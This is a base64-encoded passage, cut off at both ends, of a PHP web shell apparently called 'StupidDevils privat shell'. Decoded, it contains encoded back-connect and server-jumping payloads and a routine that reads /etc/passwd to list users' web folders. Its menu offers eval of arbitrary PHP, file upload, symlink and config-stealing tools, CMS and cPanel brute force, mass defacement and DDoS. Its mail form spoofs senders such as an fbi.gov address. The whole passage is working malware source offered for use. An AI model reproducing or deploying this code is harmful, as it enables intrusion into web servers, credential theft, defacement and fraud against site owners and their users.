UyMTRpVDUyK3IvQ3czLzVqYXFoS0w5aUZGcHVLUGF3SUxWTnc9PSI7DQokYmFja19jb25uZWN0X2M9IlhWSGJhZ0l4RUgwWC9JZGhoWkxVV0YxZjFZS0lCZWxGcWZaSmxpVW0yVzdvYmlKSkxMV2wvOTRrMjlyV2h5RXpjK1oyVGpwU3NlckENCkJZeXQ0MUpmbGRmdFZ1YzNkN1I5cTltTGNHZUFFazU2NjBzVkFha2MxRlFxRkJ4cW5oa0JWbElEbDk1LzNXYTQzZnBvdHlDQUJSOTUNCnp6cHpZQTdDYU1xNXlhVUNLMVZBWXB1cDdYYVlacFBFMU5BcklCbUJSemdWdFZZb0pRTWNSL2pWM3ZLQzFySTZ3Z1NtTi9uaVliNzUNCmkrMjFjUjRwblZZV1VhY2xpdmNNTS94dlJEamh5c2JIVndkZTBXK0swd3pIOWJ0M1lmUlBpbmdDbFZDbmltN2EvWnVKQzBKVHdmM0ENClJrRDBmUitCOVhKMm02ODNqL1BwUFlIRmF2VzQzQ3p6eld5RklmYklBaEJpV2luQkhDbzRBWFNtRmx4aXVQQjNFMC9nWGVqaUhNY1kNCmp3Y1lndUlBZTJHTU5palo5akw0R1lxVFNCOUF2RW1IR2prL20xOWgxQ0d2UG9ISVk1QTFPaDJ0RTNYSWUxYnhLdzc3WVR5dDZUMkYNCjZmOXdHRVB4SmxpRmt2NU9xcjR0RTVMWUVub3lJZkR3ZEhjWEsxaWxyZkFkVWJQUEx3PT0iOw0KLy9qdW0NCiRqdW1wZXI9IjNWUmRiOU13RkgwR2lmOXdhMVhZMFVyVHdRTlNtNlpJQ0NSNEFJazlvVzBLYnV3c2hzU09iSWV0VFB4MzdrMjZiT09CSDRDaXBORzU1OXh6UDV6cXNuYkFzaWozallheWtTRnNMMWpacXIyN3VXQjVGajNlQ2tyWGhFNWFETDFFbEcxQVBIdjZaQjVhMklLeHByalNVZkFnSzEyMFRtbWV3SFlMcXdSMk1MRzRxeXErQm1XMFlPKzhkMzROWjNkOERIKzJXUnBWamc5UER5b21SMjJtek0rcEtHTXJoK2JuUlhGcVg3OHFvM0VXTXFwcVlsekpnNlNpSmRSZVYxdSs0emxiem04K3lWWXZXWlpLVEUzOEhNNXEzVFJGY1ptbGFKREQzMDdmeHp6d0VYOGJXY01IcTV6VndjZ2ZQVHd2WFhmWUFGc3FHYlhnWC9raW1sYUxKRmt5dURlRHpZc0V4dXdzMlpCQjBMRWdadEdZMWtTeFF2VE52RU8vYTRYOVY2N1RWdkJVeHpJZFFiN2dubzlTVTRHWUhia0ozTklRUWJEekY1Y3dUQkxXOE5iMXluNkw4RVZMQlErUy9OZEQvVDJjcnE3ZjQveWs5L0lnRUp6M1FmdndDQ21kclI0Q3BESUlyRFp3WFp0R2kxbWxYU1h1QnB6Y3dqeEVUMHZCWXgwbWZGb0Zpbk00WGEySTJEbnlRanErQ0pJdCtQcTR0YUVTaTRVVG9kOWpiQ1NzRnFRNmNwVHh2K2pyU0d2WDZwUXZKOUdTcDloWlk4cWlqbTJUOHNsZDNPZWRvWkJUdllTYlVIamNQaTFaREdrcE1QUmNkSDJvUjFsWVRPcXhnSWNFOUZ1TVNwb3RYWE56Y2tMdmxjUFVaUTNISkNERE9HZDAwUFQzd2MvZnU5NHFtRjBPV3orZUZMWTdiQi8xOWJnbmx2OGptQTRIYSs5elR2NjcvQTg9IjsNCi8vY29uZnNjYW4NCiRzY2FuY29uZmlnPSJEUW9vSkhOdElEMGdhVzVwWDJkbGRDZ25jMkZtWlY5dGIyUmxKeWtnUFQwZ01Da2dQeUFrYzIwZ1BTQW5iMlptSnpvZ1pHbGxLQ2M4Wm05dWRDQnphWHBsUFNJMElpQmpiMnh2Y2owaUl6QXdNREF3TUNJZ1ptRmpaVDBpUTJGc2FXSnlhU0krUEdJK1JYSnliM0k2SUZOaFptVmZiVzlrWlNBOUlFOXVQQzlpUGp3dlptOXVkRDRuS1RzTkNuTmxkRjkwYVcxbFgyeHBiV2wwS0RBcE93MEtRQ1J3WVhOemQyUWdQU0JtYjNCbGJpZ25MMlYwWXk5d1lYTnpkMlFuTENkeUp5azdEUXBwWmlBb0lTUndZWE56ZDJRcElIc2daR2xsS0NjOFptOXVkQ0J6YVhwbFBTSTBJaUJqYjJ4dmNqMGlJekF3TURBd01DSWdabUZqWlQwaVEyRnNhV0p5YVNJK1BHSStXeTFkSUVWeWNtOXlJRG9nUTI5MVpHNWdkQ0JTWldGa0lDOWxkR012Y0dGemMzZGtQQzlpUGp3dlptOXVkRDRuS1RzZ2ZRMEtKSEIxWWlBOUlHRnljbUY1S0NrN0RRb2tkWE5sY25NZ1BTQmhjbkpoZVNncE93MEtKR052Ym1ZZ1BTQmhjbkpoZVNncE93MEtKR2tnUFNBd093MEtkMmhwYkdVb0lXWmxiMllvSkhCaGMzTjNaQ2twRFFwN0RRb2tjM1J5SUQwZ1ptZGxkSE1vSkhCaGMzTjNaQ2s3RFFwcFppQW9KR2tnUGlBeE1EQXBEUXA3RFFvZ0lDUndiM01nUFNCemRISndiM01vSkhOMGNpd25PaWNwT3cwS0lDQWdKSFZ6WlhKdVlXMWxJRDBnYzNWaWMzUnlLQ1J6ZEhJc01Dd2tjRzl6S1RzTkNpQWdKR1JwY25vZ1BTQW5MMmh2YldVdkp5NGtkWE5sY201aGJXVXVKeTl3ZFdKc2FXTmZhSFJ0YkM4bk93MEtJQ0JwWmlBb0tDUjFjMlZ5Ym1GdFpTQWhQU0FuSnlrcERRb2dJSHNOQ2lBZ0lHbG1JQ2hwYzE5eVpXRmtZV0pzWlNna1pHbHllaWtwRFFvZ0lDQjdEUW9nSUNBZ1lYSnlZWGxmY0hWemFDZ2tkWE5sY25Nc0pIVnpaWEp1WVcxbEtUc05DaUFnSUNCaGNuSmhlVjl3ZFhOb0tDUndkV0lzSkdScGNub3BPdzBLSUNBZ2ZRMEtJQ0I5RFFvZ0lDQjlEUW9rYVNzck93MEtmUTBLWldOb2J5QW5QSEErRFFvOFptOXVkQ0J6YVhwbFBTSTFJaUJqYjJ4dmNqMGlJekF3T0RBNE1DSWdabUZqWlQwaVEyRnNhV0p5YVNJK0RRcFRaWEoyWlhJZ1NuVnRjR2x1WnlCR2FXNWtaWElnVm1WeWMybHZiaUF6TGpBZ1BHSnlQand2Wm05dWRENE5DanhtYjI1MElITnBlbVU5SWpNaUlHTnZiRzl5UFNJak9EQXdNREF3SWlCbVlXTmxQU0pEWVd4cFluSnBJajROQ2tOeVpXRjBaV1FnWW5rZ2RYcGhibU1nZkNBeU1ERXhJQzBnVkdGdVoyVnlZVzVuSUMwZ1NXNWtiMjVsYzJsaERRbzhMMlp2Ym5RK0RRbzhMM0ErUEdKeVBnMEtQR1p2Ym5RZ2MybDZaVDBpTXlJZ1kyOXNiM0k5SWlNd01EZ3dPREFpSUdaaFkyVTlJa05oYkdsaWNta2lQbHNyWFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBWc2dVMVJCVWxRZ1hUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFZzclhTQThZbkkrUEM5bWIyNTBQZzBLSnpzTkNtWnZjbVZoWTJnZ0tDUjFjMlZ5Y3lCaGN5QWtkWE5sY2lrTkNuc05DbVZqYUc4Z0lqeDBZV0pzWlNCM2FYUm9QU2N6TUNVblBqeDBjajQ4ZEdRK1BHWnZiblFnYzJsNlpUMG5NeWNnWTI5c2IzSTlKeU5sWlRBNE1EZ25JR1poWTJVOUowTmhiR2xpY21rblBpQmJLMTBnTDJodmJXVXZKSFZ6WlhJdmNIVmliR2xqWDJoMGJXd3ZQQzltYjI1MFBqeGljaTgrUEM5MFpENDhMM1J5UGp3dmRHRmliR1UrSWpzTkNuME5DbVZqYUc4Z0lseHVJRHhtYjI1MElITnBlbVU5SnpNbklHTnZiRzl5UFNjak1EQTRNRGd3SnlCbVlXTmxQU2REWVd4cFluSnBKejRnV3l0ZFBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlXeUJHU1U1SlUwZ2dYVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBWc3JYU0E4WW5JK1BDOW1iMjUwUGx4dUlqc05DbVZqYUc4Z0lseHVJRHhtYjI1MElITnBlbVU5SnpJbklHTnZiRzl5UFNjak9EQXdNREF3SnlCbVlXTmxQU2REWVd4cFluSnBKejViSzEwZ1UyTmhibTVsY25NZ2FHRjJaU0JpWldWdUlHTnZiWEJzWlhSbFpDQjhJRlJvWVc1cklIbHZkU0JtYjNJZ2RYTnBibWNnZEdocGN5QjBiMjlzY3lCYksxMDhMMlp2Ym5RK1hHNGlPdzBLIjsNCg0KPz4NCjxodG1sPjxoZWFkPjx0aXRsZT49WyBTdHVwaWREZXZpbHMgcHJpdmF0IHNoZWxsIF09PC90aXRsZT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIHR1a2FyKGxhbWEsYmFydSl7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobGFtYSkuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsNCn0NCjwvc2NyaXB0Pg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7DQoJYmFja2dyb3VuZDojMDAwMDAwOzsNCn0NCmEgew0KdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQp9DQphOmhvdmVyew0KYm9yZGVyLWJvdHRvbToxcHggc29saWQgI0ZGMDAwMDsNCn0NCip7DQoJZm9udC1zaXplOjExcHg7DQoJZm9udC1mYW1pbHk6VGFob21hLFZlcmRhbmEsQXJpYWw7DQoJY29sb3I6I0ZGMDAwMDsNCn0NCiNtZW51ew0KCWJhY2tncm91bmQ6IzExMTExMTsNCgltYXJnaW46OHB4IDJweCA0cHggMnB4Ow0KfQ0KI21lbnUgYXsNCglwYWRkaW5nOjRweCAxOHB4Ow0KCW1hcmdpbjowOw0KCWJhY2tncm91bmQ6IzIyMjIyMjsNCgl0ZXh0LWRlY29yYXRpb246bm9uZTsNCglsZXR0ZXItc3BhY2luZzoycHg7DQp9DQojbWVudSBhOmhvdmVyew0KCWJhY2tncm91bmQ6IzE5MTkxOTsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMzMzMzMzOw0KCWJvcmRlci10b3A6MXB4IHNvbGlkICMzMzMzMzM7DQp9DQoudGFibmV0ew0KCW1hcmdpbjoxNXB4IGF1dG8gMCBhdXRvOw0KCWJvcmRlcjogMXB4IHNvbGlkICMzMzMzMzM7DQp9DQoubWFpbiB7DQoJd2lkdGg6MTAwJTsNCn0NCi5nYXlhIHsNCgljb2xvcjogI0ZGMDAwMDsNCn0NCi5pbnB1dHp7DQoJYmFja2dyb3VuZDojMTExMTExOw0KCWJvcmRlcjowOw0KCXBhZGRpbmc6MnB4Ow0KCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICMyMjIyMjI7DQoJYm9yZGVyLXRvcDoxcHggc29saWQgIzIyMjIyMjsNCn0NCi5pbnB1dHpidXR7DQoJYmFja2dyb3VuZDojMTExMTExOw0KCWNvbG9yOiNGRjAwMDA7DQoJbWFyZ2luOjAgNHB4Ow0KCWJvcmRlcjoxcHggc29saWQgIzQ0NDQ0NDsNCg0KfQ0KLmlucHV0ejpob3ZlciwgLmlucHV0emJ1dDpob3ZlcnsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjRkYwMDAwOw0KCWJvcmRlci10b3A6MXB4IHNvbGlkICNGRjAwMDA7DQp9DQoub3V0cHV0IHsNCgltYXJnaW46YXV0bzsNCglib3JkZXI6MXB4IHNvbGlkICNGRjAwMDA7DQoJd2lkdGg6MTAwJTsNCgloZWlnaHQ6NDAwcHg7DQoJYmFja2dyb3VuZDojMDAwMDAwOw0KCXBhZGRpbmc6MCAycHg7DQp9DQouY21kYm94ew0KCXdpZHRoOjEwMCU7DQp9DQouaGVhZF9pbmZvew0KCXBhZGRpbmc6IDAgNHB4Ow0KfQ0KLmIzNzRrew0KCWZvbnQtc2l6ZTozMHB4Ow0KCXBhZGRpbmc6MDsNCgljb2xvcjojNDQ0NDQ0Ow0KfQ0KLmIzNzRrMXsNCglmb250LXNpemU6MzBweDsNCglwYWRkaW5nOjA7DQoJY29sb3I6ICMzMzMzMzM7DQp9DQouYjM3NGtfdGJsew0KCXRleHQtYWxpZ246Y2VudGVyOw0KCW1hcmdpbjowIDRweCAwIDA7DQoJcGFkZGluZzowIDRweCAwIDA7DQoJYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMzMzMzMzOw0KfQ0KLnBocGluZm8gdGFibGV7DQoJd2lkdGg6MTAwJTsNCglwYWRkaW5nOjAgMCAwIDA7DQp9DQoucGhwaW5mbyB0ZHsNCgliYWNrZ3JvdW5kOiMxMTExMTE7DQoJY29sb3I6I2NjY2NjYzsNCnBhZGRpbmc6NnB4IDhweDs7DQp9DQoucGhwaW5mbyB0aCwgdGh7DQoJYmFja2dyb3VuZDojMTkxOTE5Ow0KCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7DQpmb250LXdlaWdodDpub3JtYWw7DQp9DQoucGhwaW5mbyBoMiwgLnBocGluZm8gaDIgYXsNCgl0ZXh0LWFsaWduOmNlbnRlcjsNCglmb250LXNpemU6MTZweDsNCglwYWRkaW5nOjA7DQoJbWFyZ2luOjMwcHggMCAwIDA7DQoJYmFja2dyb3VuZDojMjIyMjIyOw0KCXBhZGRpbmc6NHB4IDA7DQp9DQouZXhwbG9yZXsNCndpZHRoOjEwMCU7DQp9DQouZXhwbG9yZSBhIHsNCnRleHQtZGVjb3JhdGlvbjpub25lOw0KfQ0KLmV4cGxvcmUgdGR7DQpib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMzMzMzMzOw0KcGFkZGluZzowIDhweDsNCmxpbmUtaGVpZ2h0OjI0cHg7DQp9DQouZXhwbG9yZSB0aHsNCnBhZGRpbmc6M3B4IDhweDsNCmZvbnQtd2VpZ2h0Om5vcm1hbDsNCn0NCi5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7DQpib3JkZXItYm90dG9tOjFweCBzb2xpZCAjRkYwMDAwOw0KfQ0KLmV4cGxvcmUgdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kOiMxMTExMTE7DQp9DQoudmlld2ZpbGV7DQpiYWNrZ3JvdW5kOiNFREVDRUI7DQpjb2xvcjojMDAwMDAwOw0KbWFyZ2luOjRweCAycHg7DQpwYWRkaW5nOjhweDsNCn0NCi5zZW1idW55aXsNCmRpc3BsYXk6bm9uZTsNCnBhZGRpbmc6MDttYXJnaW46MDsNCn0NCg0KPC9zdHlsZT4NCjwvaGVhZD4NCjxzY3JpcHQgbGFuZ3VhZ2U9J2phdmFzY3JpcHQnPg0KaWYgKGRvY3VtZW50LmFsbHx8ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQpew0KdmFyIHRoZXRpdGxlPWRvY3VtZW50LnRpdGxlDQpkb2N1bWVudC50aXRsZT0nJw0KfQ0KdmFyIGRhdGE9IlVzMyBZMHVyIGJyNDFuIGJpVGNoICEgISAhIjsNCnZhciBkb25lPTE7DQpmdW5jdGlvbiBzdGF0dXNJbih0ZXh0KXsNCmRlY3J5cHQodGV4dCwyMiwyMik7DQp9DQpmdW5jdGlvbiBzdGF0dXNPdXQoKXsNCnNlbGYuc3RhdHVzPScnOw0KZG9uZT0xOw0KfQ0KZnVuY3Rpb24gZGVjcnlwdCh0ZXh0LCBtYXgsIGRlbGF5KXsNCmlmIChkb25lKXsNCmRvbmUgPSAwOw0KcmFudGl0KHRleHQsIG1heCwgZGVsYXksIDAsIG1heCk7DQp9IA0KfQ0KZnVuY3Rpb24gcmFudGl0KHRleHQsIHJ1bnNfbGVmdCwgZGVsYXksIGNoYXJ2YXIsIG1heCl7DQppZiAoIWRvbmUpew0KcnVuc19sZWZ0ID0gcnVuc19sZWZ0IC0gMTsNCnZhciBzdGF0dXMgPSB0ZXh0LnN1YnN0cmluZygwLGNoYXJ2YXIpOw0KZm9yKHZhciBjdXJyZW50X2NoYXIgPSBjaGFydmFyOyBjdXJyZW50X2NoYXIgPCB0ZXh0Lmxlbmd0aDsgY3VycmVudF9jaGFyKyspew0Kc3RhdHVzICs9IGRhdGEuY2hhckF0KE1hdGgucm91bmQoTWF0aC5yYW5kb20oKSpkYXRhLmxlbmd0aCkpOw0KfQ0KZG9jdW1lbnQudGl0bGUgPSBzdGF0dXM7DQp2YXIgcmVydW4gPSAicmFudGl0KCciICsgdGV4dCArICInLCIgKyBydW5zX2xlZnQgKyAiLCIgKyBkZWxheSArICIsIiArIGNoYXJ2YXIgKyAiLCIgKyBtYXggKyAiKTsiDQp2YXIgbmV3X2NoYXIgPSBjaGFydmFyICsgMTsNCnZhciBuZXh0X2NoYXIgPSAicmFudGl0KCciICsgdGV4dCArICInLCIgKyBtYXggKyAiLCIgKyBkZWxheSArICIsIiArIG5ld19jaGFyICsgIiwiICsgbWF4ICsgIik7Ig0KaWYocnVuc19sZWZ0ID4gMCl7DQpzZXRUaW1lb3V0KHJlcnVuLCBkZWxheSk7DQp9DQplbHNlew0KaWYgKGNoYXJ2YXIgPCB0ZXh0Lmxlbmd0aCl7DQpzZXRUaW1lb3V0KG5leHRfY2hhciwgTWF0aC5yb3VuZChkZWxheSooY2hhcnZhciszKS8oY2hhcnZhcisxKSkpOw0KfQ0KZWxzZQ0Kew0KZG9uZSA9IDE7DQp9DQp9DQp9DQp9DQppZiAoZG9jdW1lbnQuYWxsfHxkb2N1bWVudC5nZXRFbGVtZW50QnlJZCkNCnN0YXR1c0luKHRoZXRpdGxlKQ0KPC9zY3JpcHQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbWQnKS5mb2N1cygpOyI+DQo8ZGl2IGNsYXNzPSJtYWluIj4NCjwhLS0gaGVhZCBpbmZvIHN0YXJ0IGhlcmUgLS0+DQo8ZGl2IGNsYXNzPSJoZWFkX2luZm8iPg0KPHRhYmxlPjx0cj4NCjx0ZD48dGFibGUgY2xhc3M9ImIzNzRrX3RibCI+PHRyPjx0ZD48YSBocmVmPSI/Ij48c3BhbiBjbGFzcz0iYjM3NGsiPlN0dTxzcGFuIGNsYXNzPSJiMzc0azEiPnBpZDwvc3Bhbj5EZXZpbHM8L3NwYW4+PC9hPjwvdGQ+PC90cj48dHI+PHRkPlNoZWxsIFYuMS4xPC90ZD48L3RyPjwvdGFibGU+PC90ZD4NCjx0ZD48P3BocCBlY2hvICRidWZmOyA/PjwvdGQ+DQo8L3RyPjwvdGFibGU+DQo8L2Rpdj4NCjwhLS0gaGVhZCBpbmZvIGVuZCBoZXJlIC0tPg0KPCEtLSBtZW51IHN0YXJ0IC0tPg0KPGRpdiBpZD0ibWVudSI+PGgzIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+Ij5Ib21lPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1qdW1waW5nIj5qdW1waW5nPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1zaGVsbCI+U2hlbGw8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXBocCI+RXZhbDwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9bXMiPk15c3FsPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1waHBpbmZvIj5QaHAgSW5mbzwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9bmV0c3Bsb2l0Ij5OZXQgU3Bsb2l0PC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD11cGxvYWQiPlVwbG9hZDwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9bWFpbCI+TWFpbDwvYT48YnI+PGJyPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1jaG1vZCI+Q2htb2Q8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXNxbGktc2Nhbm5lciI+U1FMSSBTY2FuPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1wb3J0LXNjIj5Qb3J0IFNjYW48L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWNvbmZpZy1zY2FuIj5Db25maWcgU2NhbjwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9c3ltbGluayI+U3ltbGluazwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9Y29uZmlnIj5Db25maWc8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWNvbmZpZ2tpbGxlciI+Q29uZmlnIEtpbGxlcjwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9YnlwYXNzIj5CeXBhc3M8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWNnaSI+Q2dpIFNoZWxsPC9hPjxicj48YnI+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWNnaTIwMTIiPkNHSSBUZWxuZXQgMjAxMjwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9ZG9tYWluIj5Eb21haW48L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXRvb2wiPlRvb2xzPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1tYXNzIj5NYXNzIERlZmFjZTwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9am9kZXhlciI+Sm9vbWxhIEluZENoYW5nZTwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9dmIiPlZCIEluZENoYW5nZTwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9d3AtcmVzZXQiPldvcmRwcmVzcyBSZXMgUGFzczwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9am0tcmVzZXQiPkpvb21sYSBSZXMgUGFzczwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9em9uZSI+Wm9uZS1IPC9hPjxicj48YnI+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXdobWNzIj5XSE1DUyBEZWNvZGVyPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD13cGJydXRlIj5Xb3JkcHJlc3MgQnJ1dGVGb3JjZTwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9amJydXRlIj5Kb29tbGEgQnJ1dGVGb3JjZTwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9YnJ1dGUiPkNwYW5lbCBCcnV0ZUZvcmNlPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1hZGZpbiI+QWRtaW4gRmluZGVyPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1oYXNoIj5QYXNzd29yZCBIYXNoPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1zdHJpbmciPlNjcmlwdCBFbmNvZGU8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWRvcyI+RGRvczwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9YWJvdXQiPkFib3V0PC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOwk/PiZhbXA7eD1sb2dvdXQiPkxvZy1PdXQ8L2E+DQoNCjwvZGl2Pg0KPCEtLSBtZW51IGVuZCAtLT4NCg0KPD9waHAgaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKXsgPz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1waHAiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2xhc3M9ImNtZGJveCI+DQo8dHI+PHRkPg0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIG5hbWU9ImNtZCIgaWQ9ImNtZCI+DQo8P3BocA0KaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRjbWQnXSkpIHsNCgllY2hvIGV2YWwobWFnaWNib29tKCRfUE9TVFsnY21kJ10pKTsNCn0NCmVsc2UgZWNobyAiZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsiOw0KPz4NCjwvdGV4dGFyZWE+DQo8dHI+PHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6MTklOyIgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28gISIgbmFtZT0ic3VibWl0Y21kIiAvPjwvdGQ+PC90cj48L2Zvcm0+DQo8L3RhYmxlPg0KPC9mb3JtPg0KDQo8P3BocCB9IA0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ21haWwnKSl7DQppZihpc3NldCgkX1BPU1RbJ21haWxfc2VuZCddKSl7DQoJJG1haWxfdG8gPSAkX1BPU1RbJ21haWxfdG8nXTsNCgkkbWFpbF9mcm9tID0gJF9QT1NUWydtYWlsX2Zyb20nXTsNCgkkbWFpbF9zdWJqZWN0ID0gJF9QT1NUWydtYWlsX3N1YmplY3QnXTsNCgkkbWFpbF9jb250ZW50ID0gbWFnaWNib29tKCRfUE9TVFsnbWFpbF9jb250ZW50J10pOw0KCWlmKEBtYWlsKCRtYWlsX3RvLCRtYWlsX3N1YmplY3QsJG1haWxfY29udGVudCwiRlJPTTokbWFpbF9mcm9tIikpew0KCQkkbXNnID0gImVtYWlsIHNlbnQgdG8gJG1haWxfdG8iOw0KCX0NCgllbHNlICRtc2cgPSAic2VuZCBlbWFpbCBmYWlsZWQiOw0KfQ0KPz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1tYWlsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGNsYXNzPSJjbWRib3giPg0KPHRyPjx0ZD4NCjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiBuYW1lPSJtYWlsX2NvbnRlbnQiIGlkPSJjbWQiIHN0eWxlPSJoZWlnaHQ6MzQwcHg7Ij5IZXkgdGhlcmUsIHBsZWFzZSBwYXRjaCBtZSBBU0FQIDstcDwvdGV4dGFyZWE+DQo8dHI+PHRkPiZuYnNwOzxpbnB1dCBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6MjAlOyIgdHlwZT0idGV4dCIgdmFsdWU9ImFkbWluQHNvbWVzb21lLmNvbSIgbmFtZT0ibWFpbF90byIgLz4mbmJzcDsgbWFpbCB0bzwvdGQ+PC90cj4NCjx0cj48dGQ+Jm5ic3A7PGlucHV0IGNsYXNzPSJpbnB1dHoiIHN0eWxlPSJ3aWR0aDoyMCU7IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iU3R1cGlkRGV2aWxzQGZiaS5nb3YiIG5hbWU9Im1haWxfZnJvbSIgLz4mbmJzcDsgZnJvbTwvdGQ+PC90cj4NCjx0cj48dGQ+Jm5ic3A7PGlucHV0IGNsYXNzPSJpbnB1dHoiIHN0eWxlPSJ3aWR0aDoyMCU7IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0icGF